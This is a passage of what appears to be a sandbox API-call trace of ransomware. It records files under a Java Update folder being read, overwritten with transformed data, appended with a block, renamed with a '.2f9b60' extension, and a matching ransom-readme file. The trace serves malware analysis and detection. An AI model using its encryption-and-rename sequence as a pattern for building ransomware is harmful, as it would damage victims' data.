dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d58 [0136.110] GetFileSizeEx (in: hFile=0x1d58, lpFileSize=0x3115f980 | out: lpFileSize=0x3115f980*=1411) returned 1 [0136.110] SetFilePointerEx (in: hFile=0x1d58, liDistanceToMove=0x57f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.110] ReadFile (in: hFile=0x1d58, lpBuffer=0x3115f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3115f948, lpOverlapped=0x0 | out: lpBuffer=0x3115f900*, lpNumberOfBytesRead=0x3115f948*=0x4, lpOverlapped=0x0) returned 1 [0136.261] SetFilePointerEx (in: hFile=0x1d58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0136.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0136.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7080 [0136.262] NtQuerySystemTime (in: CurrentTime=0x3115f840 | out: CurrentTime=0x3115f840*=132462177414994000) returned 0x0 [0136.262] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x393a9913 [0136.262] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x4555fda3 [0136.262] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x405f6b7b [0136.262] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x349cc70e [0136.262] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x57868bcd [0136.262] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x1bbe0f07 [0136.262] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x5a89c94d [0136.262] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x6c75979c [0136.262] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x55ff71b7 [0136.262] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x30afded9 [0136.262] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x550817c8 [0136.262] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x3e0abfab [0136.262] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x23fa2e3 [0136.263] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x72c0b32f [0136.263] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x79e13c65 [0136.263] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x37bdca8e [0136.263] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x6cd7c572 [0136.263] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x521cddec [0136.263] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x55963666 [0136.263] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x2919cade [0136.263] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x10d6cde0 [0136.263] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x23fa2e3 [0136.263] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x55fb7236 [0136.263] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x1b213d69 [0136.263] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0xeded250 [0136.263] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x46ca4a3 [0136.263] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x3fd4e406 [0136.263] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x7451f7eb [0136.263] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x4097ff87 [0136.263] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x1e47db5 [0136.263] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0xec47e4e [0136.263] RtlRandomEx (in: Seed=0x3115f830 | out: Seed=0x3115f830) returned 0x6c88e37b [0136.274] ReadFile (in: hFile=0x1d58, lpBuffer=0x203518d0, nNumberOfBytesToRead=0x583, lpNumberOfBytesRead=0x3115f830, lpOverlapped=0x0 | out: lpBuffer=0x203518d0*, lpNumberOfBytesRead=0x3115f830*=0x583, lpOverlapped=0x0) returned 1 [0136.274] SetFilePointerEx (in: hFile=0x1d58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.274] WriteFile (in: hFile=0x1d58, lpBuffer=0x2030a0b0*, nNumberOfBytesToWrite=0x583, lpNumberOfBytesWritten=0x3115f834, lpOverlapped=0x0 | out: lpBuffer=0x2030a0b0*, lpNumberOfBytesWritten=0x3115f834*=0x583, lpOverlapped=0x0) returned 1 [0136.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a350 [0136.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a380 [0136.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a380) returned 1 [0136.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2030a0b0) returned 1 [0136.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203518d0) returned 1 [0136.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0136.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x4205a380 [0136.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0136.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3b0 [0136.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3b0) returned 1 [0136.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x4205a3b0 [0136.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0136.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a410 [0136.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a410) returned 1 [0136.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0136.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x169090 [0136.364] SetFilePointerEx (in: hFile=0x1d58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0136.364] WriteFile (in: hFile=0x1d58, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3115f950, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x3115f950*=0x102, lpOverlapped=0x0) returned 1 [0136.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0136.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0136.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0136.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b7d5a50 [0136.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0136.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0136.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0136.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0136.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x4205a530 [0136.443] sprintf (in: _Dest=0x4205a530, _Format="%c%c" | out: _Dest="3f") returned 2 [0136.444] sprintf (in: _Dest=0x4205a532, _Format="%c%c" | out: _Dest="fb") returned 2 [0136.444] sprintf (in: _Dest=0x4205a534, _Format="%c%c" | out: _Dest="ef") returned 2 [0136.444] sprintf (in: _Dest=0x4205a536, _Format="%c%c" | out: _Dest="65") returned 2 [0136.444] sprintf (in: _Dest=0x4205a538, _Format="%c%c" | out: _Dest="aa") returned 2 [0136.444] sprintf (in: _Dest=0x4205a53a, _Format="%c%c" | out: _Dest="f4") returned 2 [0136.444] sprintf (in: _Dest=0x4205a53c, _Format="%c%c" | out: _Dest="45") returned 2 [0136.444] sprintf (in: _Dest=0x4205a53e, _Format="%c%c" | out: _Dest="64") returned 2 [0136.444] sprintf (in: _Dest=0x4205a540, _Format="%c%c" | out: _Dest="86") returned 2 [0136.444] sprintf (in: _Dest=0x4205a542, _Format="%c%c" | out: _Dest="24") returned 2 [0136.444] sprintf (in: _Dest=0x4205a544, _Format="%c%c" | out: _Dest="44") returned 2 [0136.444] sprintf (in: _Dest=0x4205a546, _Format="%c%c" | out: _Dest="e5") returned 2 [0136.444] sprintf (in: _Dest=0x4205a548, _Format="%c%c" | out: _Dest="2e") returned 2 [0136.444] sprintf (in: _Dest=0x4205a54a, _Format="%c%c" | out: _Dest="d9") returned 2 [0136.444] sprintf (in: _Dest=0x4205a54c, _Format="%c%c" | out: _Dest="63") returned 2 [0136.444] sprintf (in: _Dest=0x4205a54e, _Format="%c%c" | out: _Dest="d7") returned 2 [0136.444] RtlInitAnsiString (in: DestinationString=0x3115f9c8, SourceString="3ffbef65aaf44564862444e52ed963d7" | out: DestinationString="3ffbef65aaf44564862444e52ed963d7") [0136.445] RtlAnsiStringToUnicodeString (in: DestinationString=0x3115f998, SourceString="3ffbef65aaf44564862444e52ed963d7", AllocateDestinationString=1 | out: DestinationString="3ffbef65aaf44564862444e52ed963d7") returned 0x0 [0136.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97580 [0136.445] RtlFreeAnsiString (AnsiString="3") [0136.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0136.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0136.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0136.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169090) returned 1 [0136.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3b0) returned 1 [0136.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0136.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a380) returned 1 [0136.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0136.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0136.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb20) returned 1 [0136.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a9c0) returned 1 [0136.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20506590 [0136.447] wcscat (in: _Dest=0x20506590, _Source="3ffbef65" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\3ffbef65") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\3ffbef65" [0136.447] wcscat (in: _Dest=0x20506590, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\3ffbef65.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\3ffbef65.2f9b60" [0136.447] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\3ffbef65.2f9b60", NtPathName=0x3115f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\3ffbef65.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c240 [0136.447] NtSetInformationFile (FileHandle=0x1d58, IoStatusBlock=0x3115fa10, FileInformation=0x2050c240, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0136.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c240) returned 1 [0136.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecbc50) returned 1 [0136.449] NtQueryInformationFile (in: FileHandle=0x1d58, IoStatusBlock=0x3115f9d8, FileInformation=0x3115f9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3115f9d8, FileInformation=0x3115f9e8) returned 0x0 [0136.449] NtSetInformationFile (FileHandle=0x1d58, IoStatusBlock=0x3115f9d8, FileInformation=0x3115f9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0136.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506590) returned 1 [0136.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.452] FlushFileBuffers (hFile=0x1d58) returned 1 [0138.536] CloseHandle (hObject=0x1d58) returned 1 [0138.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x202b0150 [0138.639] wcscpy (in: _Dest=0x202b0150, _Source="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" [0138.639] wcscat (in: _Dest=0x202b0150, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\2F9B60-Readme.txt" [0138.639] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\2f9b60-readme.txt")) returned 0x20 [0138.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0150) returned 1 [0138.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c570) returned 1 Thread: id = 1982 os_tid = 0x11d4 [0136.117] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task64.xml")) returned 0x20 [0136.117] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml", dwFileAttributes=0x20) returned 1 [0136.118] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task64.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d5c [0136.118] GetFileSizeEx (in: hFile=0x1d5c, lpFileSize=0x3156f7e0 | out: lpFileSize=0x3156f7e0*=1416) returned 1 [0136.118] SetFilePointerEx (in: hFile=0x1d5c, liDistanceToMove=0x584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.119] ReadFile (in: hFile=0x1d5c, lpBuffer=0x3156f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3156f7a8, lpOverlapped=0x0 | out: lpBuffer=0x3156f760*, lpNumberOfBytesRead=0x3156f7a8*=0x4, lpOverlapped=0x0) returned 1 [0136.275] SetFilePointerEx (in: hFile=0x1d5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0136.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7080 [0136.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267980 [0136.276] NtQuerySystemTime (in: CurrentTime=0x3156f6a0 | out: CurrentTime=0x3156f6a0*=132462177415150000) returned 0x0 [0136.276] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x4a0d9ce7 [0136.276] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x453f43a2 [0136.276] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x57868bcd [0136.276] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x38479f4 [0136.276] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x2b56b50b [0136.276] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x3d97a098 [0136.276] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x358473ce [0136.276] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x3be2cc9a [0136.276] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x35baf96f [0136.276] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x518b3c5a [0136.276] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x7550083c [0136.276] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x17a9ae5e [0136.276] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x627d9e0c [0136.277] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x4f3117fd [0136.277] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x5de41644 [0136.277] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x77b00ba8 [0136.277] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x1d616e1c [0136.277] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x35bb38c0 [0136.277] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x6c15854c [0136.277] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x747d45c3 [0136.277] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x588a2b4d [0136.277] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x2011491 [0136.277] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x2919cade [0136.277] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x74553621 [0136.277] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x770d58cc [0136.277] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x20ce9bf3 [0136.277] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x75948d6c [0136.277] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x7b702c8b [0136.277] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x45d3c2ab [0136.277] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x667ca05c [0136.277] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x79c4e33e [0136.277] RtlRandomEx (in: Seed=0x3156f690 | out: Seed=0x3156f690) returned 0x6e736665 [0136.287] ReadFile (in: hFile=0x1d5c, lpBuffer=0x203118d0, nNumberOfBytesToRead=0x588, lpNumberOfBytesRead=0x3156f690, lpOverlapped=0x0 | out: lpBuffer=0x203118d0*, lpNumberOfBytesRead=0x3156f690*=0x588, lpOverlapped=0x0) returned 1 [0136.287] SetFilePointerEx (in: hFile=0x1d5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.287] WriteFile (in: hFile=0x1d5c, lpBuffer=0x203190f0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3156f694, lpOverlapped=0x0 | out: lpBuffer=0x203190f0*, lpNumberOfBytesWritten=0x3156f694*=0x588, lpOverlapped=0x0) returned 1 [0136.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a410 [0136.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0136.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0136.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203190f0) returned 1 [0136.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203118d0) returned 1 [0136.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0136.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0136.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x4205a440 [0136.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0136.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0136.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a470 [0136.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a470) returned 1 [0136.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x4205a470 [0136.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4a0 [0136.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0136.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0136.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0136.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0136.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x1694d0 [0136.367] SetFilePointerEx (in: hFile=0x1d5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0136.367] WriteFile (in: hFile=0x1d5c, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3156f7b0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x3156f7b0*=0x106, lpOverlapped=0x0) returned 1 [0136.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0136.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0136.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262930 [0136.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262930) returned 1 [0136.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0136.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262930 [0136.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b20 [0136.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b20) returned 1 [0136.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0136.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0136.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f9b0 [0136.583] sprintf (in: _Dest=0x1cd9f9b0, _Format="%c%c" | out: _Dest="86") returned 2 [0136.583] sprintf (in: _Dest=0x1cd9f9b2, _Format="%c%c" | out: _Dest="e7") returned 2 [0136.583] sprintf (in: _Dest=0x1cd9f9b4, _Format="%c%c" | out: _Dest="b4") returned 2 [0136.583] sprintf (in: _Dest=0x1cd9f9b6, _Format="%c%c" | out: _Dest="58") returned 2 [0136.583] sprintf (in: _Dest=0x1cd9f9b8, _Format="%c%c" | out: _Dest="9f") returned 2 [0136.583] sprintf (in: _Dest=0x1cd9f9ba, _Format="%c%c" | out: _Dest="9b") returned 2 [0136.583] sprintf (in: _Dest=0x1cd9f9bc, _Format="%c%c" | out: _Dest="0c") returned 2 [0136.583] sprintf (in: _Dest=0x1cd9f9be, _Format="%c%c" | out: _Dest="e4") returned 2 [0136.583] sprintf (in: _Dest=0x1cd9f9c0, _Format="%c%c" | out: _Dest="50") returned 2 [0136.583] sprintf (in: _Dest=0x1cd9f9c2, _Format="%c%c" | out: _Dest="6e") returned 2 [0136.583] sprintf (in: _Dest=0x1cd9f9c4, _Format="%c%c" | out: _Dest="ff") returned 2 [0136.583] sprintf (in: _Dest=0x1cd9f9c6, _Format="%c%c" | out: _Dest="1a") returned 2 [0136.583] sprintf (in: _Dest=0x1cd9f9c8, _Format="%c%c" | out: _Dest="75") returned 2 [0136.583] sprintf (in: _Dest=0x1cd9f9ca, _Format="%c%c" | out: _Dest="54") returned 2 [0136.583] sprintf (in: _Dest=0x1cd9f9cc, _Format="%c%c" | out: _Dest="26") returned 2 [0136.584] sprintf (in: _Dest=0x1cd9f9ce, _Format="%c%c" | out: _Dest="eb") returned 2 [0136.584] sprintf (in: _Dest=0x1cd9f9d0, _Format="%c%c" | out: _Dest="e0") returned 2 [0136.584] sprintf (in: _Dest=0x1cd9f9d2, _Format="%c%c" | out: _Dest="d1") returned 2 [0136.584] sprintf (in: _Dest=0x1cd9f9d4, _Format="%c%c" | out: _Dest="c0") returned 2 [0136.584] sprintf (in: _Dest=0x1cd9f9d6, _Format="%c%c" | out: _Dest="7a") returned 2 [0136.584] RtlInitAnsiString (in: DestinationString=0x3156f828, SourceString="86e7b4589f9b0ce4506eff1a755426ebe0d1c07a" | out: DestinationString="86e7b4589f9b0ce4506eff1a755426ebe0d1c07a") [0136.584] RtlAnsiStringToUnicodeString (in: DestinationString=0x3156f7f8, SourceString="86e7b4589f9b0ce4506eff1a755426ebe0d1c07a", AllocateDestinationString=1 | out: DestinationString="86e7b4589f9b0ce4506eff1a755426ebe0d1c07a") returned 0x0 [0136.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9cc10 [0136.584] RtlFreeAnsiString (AnsiString="8") [0136.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f9b0) returned 1 [0136.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0136.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262930) returned 1 [0136.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1694d0) returned 1 [0136.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a470) returned 1 [0136.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4a0) returned 1 [0136.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0136.585] RtlFreeHeap (HeapHandle=0xa0000, 